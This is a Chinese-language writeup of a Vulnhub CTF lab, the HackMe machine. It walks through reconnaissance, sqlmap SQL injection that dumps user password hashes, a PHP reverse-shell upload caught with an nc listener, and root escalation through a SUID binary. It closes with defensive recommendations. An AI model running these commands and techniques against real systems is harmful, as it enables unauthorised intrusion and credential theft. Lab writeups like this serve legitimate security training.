HackMe 靶机渗透测试(Vulnhub Writeup)
一、靶机与环境介绍
本次实战目标为 Vulnhub 平台的 HackMe 靶机,是一台基于 PHP + MySQL 的自研 Web 应用。完整攻击链为:信息收集 → 注册登录后定位搜索框 SQL 注入 → sqlmap 脱库拿到 superadmin 凭据 → 登录后台上传反弹 Shell → 利用 legacy 家目录下 root 拥有的 SUID 二进制 touchmenot 直接提权 root。该靶机不设置 flag,拿到 root 即结束。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.169。
二、信息收集
(一)存活主机扫描
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162
192.168.153.169 00:0c:29:9f:e6:e3 VMware, Inc.
(二)端口扫描
全端口扫描仅开放 22(SSH)与 80(HTTP),Web 服务为 Ubuntu 上的 Apache 2.4.34。
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.153.169
22/tcp open ssh
80/tcp open http
┌──(root㉿kali)-[~]
└─# nmap -p22,80 -sV -sC -O 192.168.153.169
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
MAC Address: 00:0C:29:9F:E6:E3 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
(三)目录扫描与指纹识别
dirsearch 发现 login.php、register.php、config.php 与 uploads 目录,uploads 可列目录;whatweb 识别为 Bootstrap 3.3.7 + PHP 的自研登录系统,首页通过 Meta Refresh 跳转到 login.php。
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.153.169
[14:05:32] 200 - 0B - /config.php
[14:05:38] 200 - 527B - /login.php
[14:05:38] 302 - 0B - /logout.php -> login.php
[14:05:44] 200 - 594B - /register.php
[14:05:49] 301 - 320B - /uploads -> http://192.168.153.169/uploads/
[14:05:49] 200 - 459B - /uploads/
┌──(root㉿kali)-[~]
└─# whatweb http://192.168.153.169/
http://192.168.153.169/login.php [200 OK] Apache[2.4.34], Bootstrap[3.3.7], Cookies[PHPSESSID], PHP, PasswordField[password], Title[Login]
三、搜索框 SQL 注入脱库
注册一个普通账号登录后,在站内搜索框处抓包(Burp 保存请求为 123.txt),发现搜索参数存在明显的 SQL 注入点。直接使用 sqlmap -r 模式跑全流程。
# 枚举所有数据库
┌──(root㉿kali)-[~]
└─# python sqlmap.py -r 123.txt --dbs
Database: webapphacking
# 枚举表
┌──(root㉿kali)-[~]
└─# python sqlmap.py -r 123.txt -D webapphacking --tables
Table: users
# dump users 表
┌──(root㉿kali)-[~]
└─# python sqlmap.py -r 123.txt -D webapphacking -T users --dump
users 表共 7 条记录,口令均为 MD5,其中关键账号如下:
+----+--------------+-------------+---------------------------------------------+
| id | name | user | pasword |
+----+--------------+-------------+---------------------------------------------+
| 1 | David | user1 | 5d41402abc4b2a76b9719d911017c592 (hello) |
| 2 | Beckham | user2 | 6269c4f71a55b24bad0f0267d9be5508 (commando) |
| 3 | anonymous | user3 | 0f359740bd1cda994f8b55330c86d845 (p@ssw0rd) |
| 11 | superadmin | superadmin | 2386acb2cf356944177746fc92523983 (Uncrackable)|
| 13 | admin | admin | e10adc3949ba59abbe56e057f20f883e (123456) |
+----+--------------+-------------+---------------------------------------------+
其中 superadmin/Uncrackable 为后台高权限账号,admin/123456 也可作为备用登录凭据。
四、superadmin 登录上传反弹 Shell
使用 superadmin/Uncrackable 登录后台,利用文件上传功能上传 PHP 反弹 Shell,落地路径为 /var/www/html/uploads/。攻击机本地 nc 监听 6666 端口,成功拿到 www-data Shell。
┌──(root㉿kali)-[~]
└─# nc -lvvp 6666
listening on [any] 6666 ...
connect to [192.168.153.162] from 192.168.153.169 [192.168.153.169] 60208
www-data@hackme:/var/www/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@hackme:/var/www/html/uploads$ whoami
www-data
五、SUID 二进制 touchmenot 提权 root
回到 Web 目录后做本地信息收集:/etc/passwd 中除 root 外还有一个 hackme 用户;进一步在 /home/legacy 家目录下发现一个名为 touchmenot 的 ELF 二进制,属主为 root 且带 SUID 位(-rwsr--r-x)。
www-data@hackme:/var/www/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
hackme:x:1000:1000:hackme:/home/hackme:/bin/bash
www-data@hackme:/var/www/html$ cd /home/legacy
www-data@hackme:/home/legacy$ ls -la
-rwsr--r-x 1 root root 8472 Mar 26 2019 touchmenot
www-data@hackme:/home/legacy$ file touchmenot
touchmenot: setuid ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
将该二进制通过 python3 -m http.server 下载回攻击机本地分析,strings 中直接出现 setuid、execl、/bin/bash 三个敏感符号,说明程序逻辑就是调用 setuid(0) 后 execl 拉起 root Shell。
# 靶机上起临时 HTTP 服务
www-data@hackme:/home/legacy$ python3 -m http.server 8888
# 攻击机下载并分析
┌──(root㉿kali)-[~]
└─# wget http://192.168.153.169:8888/touchmenot
┌──(root㉿kali)-[~]
└─# strings touchmenot
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
execl
/bin/bash
直接在靶机上执行该 SUID 二进制,立即获得 root Shell:
www-data@hackme:/home/legacy$ ./touchmenot
root@hackme:/home/legacy# python -c "import pty;pty.spawn('/bin/bash');"
root@hackme:/home/legacy# id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@hackme:/home/legacy# whoami
root
六、总结
HackMe 靶机的完整攻击链如下:
-
端口扫描确认仅 22/80,目录扫描发现 login/register/uploads 等自研 PHP 应用路径;
-
注册登录后定位搜索框 SQL 注入,用 sqlmap -r 一键脱库,得到 superadmin/Uncrackable 等高权限凭据;
-
使用 superadmin 登录后台上传 PHP 反弹 Shell,拿到 www-data;
-
枚举家目录发现 /home/legacy/touchmenot 为 root 拥有的 SUID ELF,strings 显示其内部直接调用 setuid 与 /bin/bash,执行即 root。
对应的安全建议:① 搜索框、登录框等所有与数据库交互的参数必须使用预编译语句或参数化查询,杜绝字符串拼接;② 口令不应以 MD5 等弱哈希明文存储,且数据库中应严格隔离高权限账号;③ Web 上传功能应校验文件类型、重命名落地文件并禁止直接执行 PHP;④ 系统中带 SUID 位的二进制必须严格盘点,像 touchmenot 这种直接 setuid(0) 再拉起 /bin/bash 的调试程序绝不应保留在生产环境;⑤ 家目录权限应最小化,普通用户不应能读到其他用户家目录下的敏感二进制。